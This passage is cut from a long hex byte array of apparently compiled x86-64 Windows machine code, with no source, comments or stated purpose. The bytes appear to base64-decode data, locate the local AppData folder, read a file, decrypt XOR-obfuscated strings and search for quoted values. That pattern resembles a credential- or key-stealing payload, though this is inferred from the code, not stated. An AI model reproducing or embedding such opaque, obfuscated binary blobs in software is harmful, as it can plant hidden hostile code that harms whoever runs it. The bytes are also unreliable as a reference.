0xC7, 0xC4, 0xFF, 0xFF, 0xFF, 0xFF, 0x44, 0x88, 0x65, 0xA1, 0x4C, 0x8D, 0x6D, 0xD0, 0x48, 0x83, 0x7D, 0xE8, 0x0F, 0x4C, 0x0F, 0x47, 0x6D, 0xD0, 0x48, 0x85, 0xFF, 0x74, 0x1C, 0x0F, 0xBE, 0x55, 0xA2, 0x4C, 0x8B, 0xC7, 0x49, 0x8B, 0xCD, 0xE8, 0x64, 0x5A, 0x00, 0x00, 0x48, 0x8B, 0xF0, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x2B, 0xF5, 0xEB, 0x07, 0x48, 0xC7, 0xC6, 0xFF, 0xFF, 0xFF, 0xFF, 0x40, 0x88, 0x75, 0xA2, 0x4C, 0x8D, 0x6D, 0xD0, 0x48, 0x83, 0x7D, 0xE8, 0x0F, 0x4C, 0x0F, 0x47, 0x6D, 0xD0, 0x48, 0x85, 0xFF, 0x74, 0x1C, 0x0F, 0xBE, 0x55, 0xA3, 0x4C, 0x8B, 0xC7, 0x49, 0x8B, 0xCD, 0xE8, 0x2A, 0x5A, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x2B, 0xCD, 0xEB, 0x07, 0x48, 0xC7, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0x88, 0x4D, 0xA3, 0x41, 0x0F, 0xB6, 0xD4, 0xC0, 0xEA, 0x04, 0x80, 0xE2, 0x03, 0x0F, 0xB6, 0x45, 0xA0, 0xC0, 0xE0, 0x02, 0x02, 0xD0, 0x88, 0x55, 0xA4, 0x40, 0x0F, 0xB6, 0xFE, 0x40, 0xC0, 0xEF, 0x02, 0x40, 0x80, 0xE7, 0x0F, 0x41, 0x0F, 0xB6, 0xC4, 0xC0, 0xE0, 0x04, 0x40, 0x02, 0xF8, 0x40, 0x88, 0x7D, 0xA5, 0x40, 0xC0, 0xE6, 0x06, 0x40, 0x02, 0xF1, 0x40, 0x88, 0x75, 0xA6, 0x48, 0x8B, 0x43, 0x08, 0x48, 0x3B, 0x43, 0x10, 0x74, 0x08, 0x88, 0x10, 0x48, 0xFF, 0x43, 0x08, 0xEB, 0x0F, 0x4C, 0x8D, 0x45, 0xA4, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xCB, 0xE8, 0xB0, 0x45, 0x00, 0x00, 0x48, 0x8B, 0x53, 0x08, 0x48, 0x3B, 0x53, 0x10, 0x74, 0x09, 0x40, 0x88, 0x3A, 0x48, 0xFF, 0x43, 0x08, 0xEB, 0x0C, 0x4C, 0x8D, 0x45, 0xA5, 0x48, 0x8B, 0xCB, 0xE8, 0x91, 0x45, 0x00, 0x00, 0x48, 0x8B, 0x53, 0x08, 0x48, 0x3B, 0x53, 0x10, 0x74, 0x13, 0x40, 0x88, 0x32, 0x48, 0xFF, 0x43, 0x08, 0x45, 0x8B, 0xEF, 0x49, 0x8B, 0xFF, 0x48, 0x8B, 0x55, 0xA8, 0xEB, 0x1D, 0x4C, 0x8D, 0x45, 0xA6, 0x48, 0x8B, 0xCB, 0xE8, 0x68, 0x45, 0x00, 0x00, 0x45, 0x8B, 0xEF, 0x49, 0x8B, 0xFF, 0x48, 0x8B, 0x55, 0xA8, 0xEB, 0x05, 0x44, 0x0F, 0xB6, 0x65, 0xA1, 0x8B, 0x45, 0xB0, 0x85, 0xC0, 0x0F, 0x85, 0xDC, 0xFD, 0xFF, 0xFF, 0x45, 0x85, 0xED, 0x0F, 0x84, 0x90, 0x01, 0x00, 0x00, 0x49, 0x63, 0xC5, 0x48, 0x83, 0xF8, 0x04, 0x7D, 0x19, 0x0F, 0x83, 0xED, 0x01, 0x00, 0x00, 0xC6, 0x44, 0x05, 0xA0, 0x00, 0x48, 0xFF, 0xC0, 0x48, 0x83, 0xF8, 0x04, 0x7C, 0xEC, 0x44, 0x0F, 0xB6, 0x65, 0xA1, 0x48, 0x8D, 0x45, 0xD0, 0x48, 0x8B, 0x7D, 0xD0, 0x48, 0x8B, 0x75, 0xE8, 0x48, 0x83, 0xFE, 0x0F, 0x48, 0x0F, 0x47, 0xC7, 0x48, 0x89, 0x45, 0xA8, 0x4C, 0x8B, 0x75, 0xE0, 0x4D, 0x85, 0xF6, 0x74, 0x1E, 0x0F, 0xBE, 0x55, 0xA0, 0x4D, 0x8B, 0xC6, 0x48, 0x8B, 0xC8, 0xE8, 0xF8, 0x58, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0A, 0x48, 0x2B, 0x45, 0xA8, 0x48, 0x89, 0x45, 0xB0, 0xEB, 0x08, 0x48, 0xC7, 0x45, 0xB0, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x45, 0xD0, 0x48, 0x83, 0xFE, 0x0F, 0x48, 0x0F, 0x47, 0xC7, 0x48, 0x89, 0x45, 0xA8, 0x4D, 0x85, 0xF6, 0x74, 0x1E, 0x41, 0x0F, 0xBE, 0xD4, 0x4D, 0x8B, 0xC6, 0x48, 0x8B, 0xC8, 0xE8, 0xBD, 0x58, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0A, 0x48, 0x2B, 0x45, 0xA8, 0x48, 0x89, 0x45, 0xA8, 0xEB, 0x08, 0x48, 0xC7, 0x45, 0xA8, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x45, 0xD0, 0x48, 0x83, 0xFE, 0x0F, 0x48, 0x0F, 0x47, 0xC7, 0x48, 0x89, 0x45, 0xC0, 0x4D, 0x85, 0xF6, 0x74, 0x1D, 0x0F, 0xBE, 0x55, 0xA2, 0x4D, 0x8B, 0xC6, 0x48, 0x8B, 0xC8, 0xE8, 0x82, 0x58, 0x00, 0x00, 0x4C, 0x8B, 0xE0, 0x48, 0x85, 0xC0, 0x74, 0x06, 0x4C, 0x2B, 0x65, 0xC0, 0xEB, 0x07, 0x49, 0xC7, 0xC4, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x45, 0xD0, 0x48, 0x83, 0xFE, 0x0F, 0x48, 0x0F, 0x47, 0xC7, 0x48, 0x89, 0x45, 0xC0, 0x4D, 0x85, 0xF6, 0x74, 0x1D, 0x0F, 0xBE, 0x55, 0xA3, 0x4D, 0x8B, 0xC6, 0x48, 0x8B, 0xC8, 0xE8, 0x49, 0x58, 0x00, 0x00, 0x4C, 0x8B, 0xC0, 0x48, 0x85, 0xC0, 0x74, 0x06, 0x4C, 0x2B, 0x45, 0xC0, 0xEB, 0x07, 0x49, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x4D, 0xA8, 0x0F, 0xB6, 0xC1, 0xC0, 0xE8, 0x04, 0x24, 0x03, 0x48, 0x8B, 0x55, 0xB0, 0xC0, 0xE2, 0x02, 0x02, 0xC2, 0x88, 0x45, 0xA4, 0x41, 0x0F, 0xB6, 0xC4, 0xC0, 0xE8, 0x02, 0x24, 0x0F, 0xC0, 0xE1, 0x04, 0x02, 0xC1, 0x88, 0x45, 0xA5, 0x41, 0xC0, 0xE4, 0x06, 0x45, 0x02, 0xE0, 0x44, 0x88, 0x65, 0xA6, 0x41, 0x8D, 0x45, 0xFF, 0x4C, 0x63, 0xF0, 0x85, 0xC0, 0x7E, 0x43, 0x0F, 0x1F, 0x40, 0x00, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x53, 0x08, 0x4C, 0x8D, 0x45, 0xA4, 0x4D, 0x03, 0xC7, 0x48, 0x3B, 0x53, 0x10, 0x74, 0x0C, 0x41, 0x0F, 0xB6, 0x00, 0x88, 0x02, 0x48, 0xFF, 0x43, 0x08, 0xEB, 0x08, 0x48, 0x8B, 0xCB, 0xE8, 0xBB, 0x43, 0x00, 0x00, 0x49, 0xFF, 0xC7, 0x4D, 0x3B, 0xFE, 0x7C, 0xD3, 0x48, 0x8B, 0x7D, 0xD0, 0x48, 0x8B, 0x75, 0xE8, 0x48, 0x83, 0xFE, 0x0F, 0x76, 0x34, 0x48, 0x8D, 0x56, 0x01, 0x48, 0x8B, 0xC7, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x7F, 0xF8, 0x48, 0x2B, 0xC7, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0x3A, 0x70, 0x00, 0x00, 0xCC, 0x48, 0x8B, 0xCF, 0xE8, 0x25, 0x49, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0x48, 0x8B, 0x4D, 0xF0, 0x48, 0x33, 0xCC, 0xE8, 0x12, 0x46, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x80, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0xC3, 0xE8, 0x1A, 0x47, 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xEC, 0x90, 0x03, 0x00, 0x00, 0x0F, 0x29, 0xB4, 0x24, 0x80, 0x03, 0x00, 0x00, 0x48, 0x8D, 0x6C, 0x24, 0x50, 0x48, 0x83, 0xE5, 0xE0, 0x48, 0x8B, 0x05, 0x01, 0xAD, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x85, 0x20, 0x03, 0x00, 0x00, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, 0x48, 0x89, 0x4D, 0x40, 0x45, 0x33, 0xFF, 0x44, 0x89, 0x7D, 0x08, 0x45, 0x8B, 0xF7, 0x41, 0x83, 0xCE, 0x02, 0x48, 0x8D, 0x85, 0x10, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xBA, 0x1C, 0x00, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0xA0, 0x6E, 0x00, 0x00, 0x48, 0xC7, 0xC6, 0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x57, 0xC0, 0x4C, 0x89, 0xBD, 0x90, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xBD, 0x98, 0x00, 0x00, 0x00, 0x0F, 0x11, 0x85, 0x80, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x0C, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x15, 0x94, 0x71, 0x00, 0x00, 0xEB, 0x21, 0x48, 0x8D, 0x85, 0x10, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, 0x49, 0xFF, 0xC0, 0x46, 0x38, 0x3C, 0x00, 0x75, 0xF7, 0x48, 0x8D, 0x95, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x80, 0x00, 0x00, 0x00, 0xE8, 0x24, 0x3A, 0x00, 0x00, 0x90, 0x48, 0x83, 0xBD, 0x90, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x85, 0x81, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x3F, 0x4C, 0x89, 0x7F, 0x08, 0x4C, 0x89, 0x7F, 0x10, 0x48, 0x8B, 0x95, 0x98, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x34, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8D, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x82, 0x0A, 0x00, 0x00, 0xE8, 0xCD, 0x47, 0x00, 0x00, 0x48, 0x8B, 0xC7, 0x48, 0x8B, 0x8D, 0x20, 0x03, 0x00, 0x00, 0x48, 0x33, 0xCC, 0xE8, 0xB7, 0x44, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0xE0, 0x03, 0x00, 0x00, 0x0F, 0x28, 0xB4, 0x24, 0x80, 0x03, 0x00, 0x00, 0x48, 0x81, 0xC4, 0x90, 0x03, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0xC3, 0x4C, 0x8B, 0xC3, 0x48, 0x8D, 0x95, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0x60, 0xE8, 0x41, 0x36, 0x00, 0x00, 0x90, 0x33, 0xD2, 0x41, 0xB8, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x00, 0x01, 0x00, 0x00, 0xE8, 0x6A, 0x54, 0x00, 0x00, 0x48, 0x8D, 0x5D, 0x60, 0x48, 0x83, 0x7D, 0x78, 0x0F, 0x48, 0x0F, 0x47, 0x5D, 0x60, 0x48, 0x8D, 0x05, 0x87, 0x72, 0x00, 0x00, 0x48, 0x89, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xB0, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x7B, 0x6C, 0x00, 0x00, 0x90, 0x41, 0x83, 0xCE, 0x04, 0x44, 0x89, 0x75, 0x08, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x95, 0x10, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x00, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x30, 0x6C, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x4C, 0x8D, 0x35, 0x05, 0x73, 0x00, 0x00, 0x4C, 0x89, 0xB4, 0x0D, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x50, 0xFF, 0xFF, 0xFF, 0x89, 0x94, 0x0D, 0xFC, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x10, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xD0, 0x6B, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xB1, 0x70, 0x00, 0x00, 0x48, 0x89, 0x85, 0x10, 0x01, 0x00, 0x00, 0xC6, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x00, 0xC6, 0x85, 0x81, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x10, 0x01, 0x00, 0x00, 0xFF, 0x15, 0xAF, 0x6B, 0x00, 0x00, 0x4C, 0x89, 0xBD, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xC1, 0xB5, 0x00, 0x00, 0x48, 0x89, 0x85, 0x84, 0x01, 0x00, 0x00, 0x4C, 0x89, 0xBD, 0x78, 0x01, 0x00, 0x00, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8D, 0x8D, 0x10, 0x01, 0x00, 0x00, 0xE8, 0x86, 0x32, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x75, 0x24, 0x48, 0x8B, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x48, 0x8D, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x45, 0x33, 0xC0, 0xBA, 0x02, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x8E, 0x6B, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x4C, 0x89, 0xB4, 0x0D, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x50, 0xFF, 0xFF, 0xFF, 0x89, 0x94, 0x0D, 0xFC, 0x00, 0x00, 0x00, 0x48, 0x83, 0xBD, 0x90, 0x01, 0x00, 0x00, 0x00, 0x75, 0x69, 0x4C, 0x89, 0x3F, 0x4C, 0x89, 0x7F, 0x08, 0x4C, 0x89, 0x7F, 0x10, 0x48, 0x8D, 0x8D, 0x00, 0x01, 0x00, 0x00, 0xE8, 0xE1, 0x08, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x55, 0x78, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x31, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x4D, 0x60, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x2D, 0x08, 0x00, 0x00, 0xE8, 0xD9, 0x45, 0x00, 0x00, 0x66, 0x0F, 0x6F, 0x05, 0xCD, 0x71, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0x45, 0x70, 0xC6, 0x45, 0x60, 0x00, 0xE9, 0xB5, 0xFD, 0xFF, 0xFF, 0x4C, 0x89, 0xBD, 0xA0, 0x00, 0x00, 0x00, 0x66, 0xC7, 0x85, 0xA8, 0x00, 0x00, 0x00, 0x01, 0x00, 0x48, 0x8B, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x48, 0x8B, 0x8C, 0x0D, 0x48, 0x01, 0x00, 0x00, 0x48, 0x89, 0x4D, 0x40, 0x48, 0x85, 0xC9, 0x0F, 0x94, 0x45, 0x48, 0xC6, 0x45, 0x49, 0x00, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x45, 0x18, 0x4C, 0x89, 0x7D, 0x28, 0x4C, 0x89, 0x7D, 0x30, 0x0F, 0x28, 0x45, 0x40, 0x0F, 0x29, 0x45, 0x40, 0x0F, 0x28, 0xB5, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC9, 0x74, 0x2D, 0xFF, 0x15, 0x3C, 0x6A, 0x00, 0x00, 0x83, 0xF8, 0xFF, 0x74, 0x11, 0x88, 0x45, 0x49, 0x48, 0x8B, 0x45, 0x40, 0xC6, 0x45, 0x48, 0x01, 0x0F, 0x28, 0x45, 0x40, 0xEB, 0x16, 0x49, 0x8B, 0xC7, 0x48, 0x89, 0x45, 0x40, 0xC6, 0x45, 0x48, 0x01, 0x0F, 0x28, 0x45, 0x40, 0xEB, 0x05, 0x66, 0x48, 0x0F, 0x7E, 0xC0, 0x48, 0x85, 0xC0, 0x66, 0x48, 0x0F, 0x7E, 0xF0, 0x0F, 0x85, 0x76, 0x01, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x76, 0x01, 0x00, 0x00, 0x66, 0x0F, 0x7F, 0x75, 0x40, 0x66, 0x0F, 0x7F, 0x85, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x45, 0x40, 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0x18, 0xE8, 0x20, 0x3B, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x8D, 0x10, 0x01, 0x00, 0x00, 0xE8, 0x03, 0x30, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x75, 0x23, 0x48, 0x8B, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x63, 0x48, 0x04, 0x48, 0x8D, 0x85, 0x00, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x45, 0x33, 0xC0, 0xBA, 0x02, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xFB, 0x69, 0x00, 0x00, 0x48, 0xB8, 0xE7, 0x22, 0xAB, 0x4D, 0x1A, 0x67, 0x17, 0x09, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x70, 0xDE, 0x41, 0xB7, 0x0E, 0x57, 0x8D, 0x72, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xB8, 0xC7, 0x32, 0xF1, 0x99, 0x0C, 0x55, 0x02, 0x01, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x50, 0x48, 0xB8, 0x42, 0xDB, 0x62, 0x39, 0xC6, 0x7C, 0xB7, 0x9A, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x89, 0x45, 0x58, 0x66, 0x0F, 0x6F, 0x4D, 0x40, 0xF3, 0x0F, 0x6F, 0x05, 0x36, 0x70, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4D, 0x40, 0x66, 0x0F, 0x6F, 0x55, 0x50, 0xF3, 0x0F, 0x6F, 0x05, 0x31, 0x70, 0x00, 0x00, 0x0F, 0x57, 0xD0, 0x66, 0x0F, 0x7F, 0x55, 0x50, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x85, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xBD, 0xE8, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xBD, 0xF0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x40, 0x48, 0xFF, 0xC6, 0x80, 0x3C, 0x30, 0x00, 0x75, 0xF7, 0x4C, 0x8B, 0xC6, 0x48, 0x8D, 0x55, 0x40, 0x48, 0x8D, 0x8D, 0xD8, 0x00, 0x00, 0x00, 0xE8, 0x11, 0x36, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x85, 0xD8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xB5, 0xD8, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xAD, 0xF0, 0x00, 0x00, 0x00, 0x49, 0x83, 0xFD, 0x0F, 0x48, 0x0F, 0x47, 0xC6, 0x48, 0x89, 0x45, 0x10, 0x4C, 0x8D, 0x4D, 0x18, 0x4C, 0x8B, 0x75, 0x18, 0x4C, 0x8B, 0x7D, 0x30, 0x49, 0x83, 0xFF, 0x0F, 0x4D, 0x0F, 0x47, 0xCE, 0x4C, 0x89, 0x4D, 0x40, 0x4C, 0x8B, 0xA5, 0xE8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x28, 0x4C, 0x3B, 0xE1, 0x0F, 0x87, 0x96, 0x00, 0x00, 0x00, 0x49, 0x2B, 0xCC, 0x4D, 0x85, 0xE4, 0x75, 0x25, 0x33, 0xDB, 0xE9, 0xDC, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x8A, 0xFE, 0xFF, 0xFF, 0x4C, 0x89, 0x7D, 0x28, 0x48, 0xC7, 0x45, 0x30, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x45, 0x18, 0x00, 0xE9, 0x97, 0xFE, 0xFF, 0xFF, 0x48, 0xFF, 0xC1, 0x49, 0x03, 0xC9, 0x48, 0x89, 0x8D, 0xA0, 0x00, 0x00, 0x00, 0x0F, 0xBE, 0x00, 0x89, 0x45, 0x00, 0x4C, 0x8B, 0xC1, 0x4D, 0x2B, 0xC1, 0x8B, 0xD0, 0x49, 0x8B, 0xC9, 0xE8, 0xCA, 0x51, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 0x85, 0xC0, 0x74, 0x3E, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0x8B, 0xC4, 0x48, 0x8B, 0x55, 0x10, 0x48, 0x8B, 0xCB, 0xE8, 0xAE, 0x51, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x6B, 0x48, 0xFF, 0xC3, 0x4C, 0x8B, 0x85, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x2B, 0xC3, 0x8B, 0x55, 0x00, 0x48, 0x8B, 0xCB, 0xE8, 0x8C, 0x51, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 0x85, 0xC0, 0x75, 0xCD, 0x33, 0xDB, 0x48, 0x89, 0x1F, 0x48, 0x89, 0x5F, 0x08, 0x48, 0x89, 0x5F, 0x10, 0x49, 0x83, 0xFD, 0x0F, 0x0F, 0x86, 0xE0, 0x04, 0x00, 0x00, 0x49, 0x8D, 0x55, 0x01, 0x48, 0x8B, 0xC6, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x0F, 0x82, 0xBC, 0x04, 0x00, 0x00, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x76, 0xF8, 0x48, 0x2B, 0xC6, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x86, 0xA3, 0x04, 0x00, 0x00, 0xFF, 0x15, 0xF3, 0x69, 0x00, 0x00, 0x90, 0x48, 0x2B, 0x5D, 0x40, 0x48, 0x83, 0xFB, 0xFF, 0x74, 0xAB, 0x4A, 0x8D, 0x0C, 0x23, 0x48, 0x89, 0x4D, 0x40, 0x4C, 0x8D, 0x65, 0x18, 0x49, 0x83, 0xFF, 0x0F, 0x4D, 0x0F, 0x47, 0xE6, 0x48, 0x8B, 0x5D, 0x28, 0x48, 0x83, 0xFB, 0x01, 0x72, 0x4F, 0x48, 0x8D, 0x43, 0xFF, 0x48, 0x3B, 0xC8, 0x77, 0x46, 0x4C, 0x8D, 0x40, 0x01, 0x4D, 0x03, 0xC4, 0x49, 0x03, 0xCC, 0x4C, 0x2B, 0xC1, 0xBA, 0x22, 0x00, 0x00, 0x00, 0xE8, 0xF1, 0x50, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x85, 0xC0, 0x74, 0x27, 0x66, 0x90, 0x80, 0x39, 0x22, 0x0F, 0x84, 0xB8, 0x00, 0x00, 0x00, 0x48, 0xFF, 0xC1, 0x4D, 0x8D, 0x04, 0x1C, 0x4C, 0x2B, 0xC1, 0xBA, 0x22, 0x00, 0x00, 0x00, 0xE8, 0xCA, 0x50, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x85, 0xC0, 0x75, 0xDB, 0x33, 0xDB, 0x48, 0x89, 0x1F, 0x48, 0x89, 0x5F, 0x08, 0x48, 0x89, 0x5F, 0x10, 0x49, 0x83, 0xFD, 0x0F, 0x76, 0x39, 0x49, 0x8D, 0x55, 0x01, 0x48, 0x8B, 0xC6, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x76, 0xF8, 0x48, 0x2B, 0xC6, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x46, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xCE, 0xE8, 0x2B, 0x42, 0x00, 0x00, 0x4C, 0x8B, 0x7D, 0x30, 0x4C, 0x8B, 0x75, 0x18, 0x49, 0x83, 0xFF, 0x0F, 0x0F, 0x86, 0xBA, 0x03, 0x00, 0x00, 0x49, 0x8D, 0x57, 0x01, 0x49, 0x8B, 0xC6, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x4D, 0x8B, 0x76, 0xF8, 0x49, 0x2B, 0xC6, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0xE1, 0x03, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xE8, 0xE8, 0x41, 0x00, 0x00, 0x48, 0x89, 0x5D, 0x28, 0x48, 0xC7, 0x45, 0x30, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x45, 0x18, 0x00, 0xE9, 0xB2, 0xFB, 0xFF, 0xFF, 0x49, 0x2B, 0xCC, 0x48, 0x83, 0xF9, 0xFF, 0x0F, 0x84, 0x57, 0xFF, 0xFF, 0xFF, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x85, 0xA0, 0x00, 0x00, 0x00, 0x0F, 0x57, 0xC9, 0xF3, 0x0F, 0x7F, 0x8D, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x55, 0x40, 0x48, 0x3B, 0xDA, 0x0F, 0x82, 0x61, 0x04, 0x00, 0x00, 0x48, 0x2B, 0xCA, 0x48, 0x2B, 0xDA, 0x48, 0x3B, 0xD9, 0x48, 0x0F, 0x42, 0xCB, 0x48, 0x8D, 0x45, 0x18, 0x49, 0x83, 0xFF, 0x0F, 0x49, 0x0F, 0x47, 0xC6, 0x48, 0x03, 0xD0, 0x4C, 0x8B, 0xC1, 0x48, 0x8D, 0x8D, 0xA0, 0x00, 0x00, 0x00, 0xE8, 0x75, 0x33, 0x00, 0x00, 0x90, 0x0F, 0x57, 0xC0, 0x33, 0xC0, 0x0F, 0x11, 0x85, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 